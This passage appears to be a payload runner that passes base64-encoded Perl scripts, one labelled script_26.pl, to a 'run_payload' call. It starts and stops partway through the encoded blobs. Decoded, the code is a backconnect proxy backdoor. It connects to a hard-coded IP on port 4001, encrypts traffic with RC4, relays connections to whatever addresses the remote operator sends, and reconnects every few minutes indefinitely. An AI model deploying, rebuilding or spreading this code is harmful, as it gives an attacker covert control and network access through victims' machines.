RkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_26.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc1JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIG